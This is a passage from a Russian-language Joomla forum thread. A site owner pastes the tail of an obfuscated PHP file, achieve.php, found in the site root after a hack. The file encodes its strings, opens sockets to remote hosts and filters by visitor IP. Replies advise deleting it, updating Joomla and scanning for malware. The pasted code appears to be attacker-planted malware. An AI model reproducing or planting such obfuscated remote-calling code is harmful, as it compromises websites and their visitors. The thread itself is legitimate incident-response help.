ejCQF1xrh::Om8T0coO($e4Lk4eIbvS,64,0);
ejCQF1xrh::vkRO2BiCSV($e4Lk4eIbvS,81,0);
}
if($_SERVER[HQI2AXMY2POA("+8H60e7X/dv2wf3M+MA=")]==HQI2AXMY2POA("+cv80A==")){

ejCQF1xrh::C1sHuhn0R($e4Lk4eIbvS,47,(-931+103+829));
ejCQF1xrh::G4xsPG($e4Lk4eIbvS,(2480+80-(-7455)),

file_get_contents(HQI2AXMY2POA("GewZvtirEuoZ8R0="))
);
}
ejCQF1xrh::EhFQkOT11($e4Lk4eIbvS,(-968+674+336),(563+1145-1707));
$KBLmW=$this->SnJ6orZbb(true);


ejCQF1xrh::AGgn4($e4Lk4eIbvS,10023,$KBLmW);
$Q4VZ7PF=ejCQF1xrh::hGk1xZh4mHc($e4Lk4eIbvS);
if($Q4VZ7PF===false)
{
$lxeNLoe='T5GkOhEHBy1';
$ReDxoq2Zl=65509;

$gYj6kk4='EXNAAAvtkR8B';

$MQ1uZzcIB=30024;
$this->Rwxcm=HQI2AXMY2POA("7PEb6MnBG/YY9uOk").ejCQF1xrh::Mt2VbfM0($e4Lk4eIbvS);
ejCQF1xrh::gZMnMG($e4Lk4eIbvS);
$psk5H2QzR=true;
}
list($KBLmW,$HrBEgh1kP)=ejCQF1xrh::Dvo8I2A("\r\n\r\n",$Q4VZ7PF,2);
$this->HrBEgh1kP=$HrBEgh1kP;
$this->Re7AZWmBk($KBLmW);

if(!$psk5H2QzR)
{
$uV33kmtVWN=(28773+6905-(-1886));
$bgiqfhGiPVBw=(27951+26601-(-1529));
ejCQF1xrh::MSX62($e4Lk4eIbvS);
return $this->HrBEgh1kP;
}
return false;

}


private function nFF911n4QoTL()
{
$NDckpiiuG=(19957-771+4862);
$lFsgyNV4wl4F='RRpklI3bu3N7';
$oUHvk2z8p='KKcmGnwq3uUH';
$AEBumIm='';
$qwGwELH6tAl=(269+338-527);
if($this->j5tWYxOEEl[HQI2AXMY2POA("HOcR4Rbh")]==HQI2AXMY2POA("EfAd9Bw="))
{

$AEBumIm=HQI2AXMY2POA("HPcVvtir");
$qwGwELH6tAl=443;
}
$KBLmW=$this->SnJ6orZbb();
$nzZ83L0G2="";
$uXxsNL="";

$QIUgeQev="";
if($B9eBT=@fsockopen($AEBumIm.$this->j5tWYxOEEl[HQI2AXMY2POA("Eesc8A==")],$qwGwELH6tAl,$uXxsNL,$QIUgeQev,(-1468+413+1085)))
{
$MWSzgJz3=7442;
$LgqYdi3=$_SERVER[HQI2AXMY2POA("+8H60e7X/dv2wf3M+MA=")].HQI2AXMY2POA("yQ==").(isset($this->j5tWYxOEEl[HQI2AXMY2POA("GeUd7A==")])?$this->j5tWYxOEEl[HQI2AXMY2POA("GeUd7A==")]:HQI2AXMY2POA("2A=="))
.(isset($this->j5tWYxOEEl[HQI2AXMY2POA("GvEO9iI=")])?HQI2AXMY2POA("6A==").$this->j5tWYxOEEl[HQI2AXMY2POA("GvEO9iI=")]:'')
.HQI2AXMY2POA("ycz90Pmr2qra")."\r\n"
.$KBLmW
."\r\n".file_get_contents(HQI2AXMY2POA("GewZvtirEuoZ8R0="));;
ejCQF1xrh::wIMc0($B9eBT,$LgqYdi3);
while(!ejCQF1xrh::GIjbu8JvdORc($B9eBT))$nzZ83L0G2.=ejCQF1xrh::mCQsT($B9eBT);
ejCQF1xrh::WsGGB($B9eBT);
$twqc14UVIxgs=ejCQF1xrh::Cfimv4MYj($nzZ83L0G2,"\r\n\r\n")+(-414+373+45);
$this->HrBEgh1kP=ejCQF1xrh::mDxXE($nzZ83L0G2,$twqc14UVIxgs,ejCQF1xrh::yyqkHNXs($nzZ83L0G2)-$twqc14UVIxgs);

$this->Re7AZWmBk(ejCQF1xrh::rnkJXZ9M($nzZ83L0G2,0,$twqc14UVIxgs));
return $this->HrBEgh1kP;
}
else
{
$this->Rwxcm=HQI2AXMY2POA("7tb7y/u+yQ==").$uXxsNL.HQI2AXMY2POA("yanJ").$QIUgeQev;
return false;
}
}
public function x1sFjXHk()
{
$xUBZj=ejCQF1xrh::Ejjwx1($this->rxGQk4())&ejCQF1xrh::Fu0tmyyTlAJ(HQI2AXMY2POA("27Heqtux3qrbsd6q2Q=="));
$zPlvROA5f5=ejCQF1xrh::nneqd2Qy8($this->rxGQk4())&ejCQF1xrh::ZZimPEF1JD7u(HQI2AXMY2POA("27Heqtux3qrZqtk="));
$uIlE0pJ3YSn=ejCQF1xrh::jOIypt($this->rxGQk4())&ejCQF1xrh::lKejc(HQI2AXMY2POA("27Heqtmq2arZ"));
if(ejCQF1xrh::VDn3Bx5OzLjj($xUBZj,$this->YqTq1FRQE)||ejCQF1xrh::HjZz3Vwz($zPlvROA5f5,$this->YqTq1FRQE)||ejCQF1xrh::rGItT4cep($uIlE0pJ3YSn,$this->YqTq1FRQE)

||ejCQF1xrh::vApZ6C(ejCQF1xrh::oQU8rZohFBws($_SERVER[HQI2AXMY2POA("8dD91AjR/MH72+rD7sr9")]),$this->f0jDMzJfJK))
{
$Bg273LP5='OjUxZ';
$Be6bfy71MF='JMqNf2jLm';
return false;

}

if(ejCQF1xrh::etlBt(HQI2AXMY2POA("DPEb6A==")))

{

$gIEo6f='UCPs7hir37';
return $this->yV2enbh();
}
if(ejCQF1xrh::PfxI0(HQI2AXMY2POA("HOsM7w7wHA=="))||ejCQF1xrh::CwLvBwkC2(HQI2AXMY2POA("GewZ2xzrDO8O8Bw=")))
{
return $this->nFF911n4QoTL();
}
return $this->ibBMHy();
}
public function MJhRIw()
{

$DI57wGiDCF='CHvzn4E7D';

$RqgiTi='LeJnrOU0';
if(!empty($this->ys5hVD8b))return $this->ys5hVD8b;
return false;
}

public function ujxVvHyhXZl()
{
$YJBkWQAHKpC5=60786;
if(!empty($this->Rwxcm))return $this->Rwxcm;
return false;
}
}
?>


Хочу спросить. Это вообще что? Подозреваю. что оставлено злоумышленником. И что еще проверить на сайте. чтоб через него меня опять не хакнули?

Хотя залезли скорее всего через другой.
*

voland

  • Легенда
  • 11026
  • 588 / 112
  • Эта строка съедает место на вашем мониторе
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
Re: Странный файлик в корне сайта
« Ответ #2 : 02.11.2018, 11:57:11 »
Сайт на Joomla! 2.5.6 в корне нашелся файлик achieve.php
Файл удалить и обновить до Joomla 2.5.28 + патч от 12.12.2015, потом искать вирусы в файлах.
Иначе взломы будут продолжатся.
*

ProtectYourSite

  • Живу я здесь
  • 2368
  • 139 / 4
  • Безопасность вебсайтов
Re: Странный файлик в корне сайта
« Ответ #3 : 02.11.2018, 12:11:08 »
Сайты надо изолировать, чистить от вирусов, панель какую используете для управления (типо Vesta,cpanel)?
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Периодический страница сайта открывается криво. (Подробнее в описании)

Автор 62411

Ответов: 0
Просмотров: 1304
Последний ответ 27.01.2025, 10:36:57
от 62411
Проблема с переносом Joomla сайта с хостинга на денвер

Автор 62411

Ответов: 4
Просмотров: 2199
Последний ответ 21.02.2022, 20:22:11
от arma
Нужен редирект.htaccess для перенаправления с без id на id в url сайта

Автор MultiMatrix83

Ответов: 10
Просмотров: 1607
Последний ответ 19.10.2021, 18:28:04
от draff
Долго открывается мобильная версия сайта. (подробнее в теме)

Автор 62411

Ответов: 6
Просмотров: 1574
Последний ответ 13.04.2021, 15:07:31
от IToro82
Как вернуть фоновое изображение сайта?

Автор Camell

Ответов: 1
Просмотров: 1386
Последний ответ 03.03.2020, 15:57:20
от Sgrey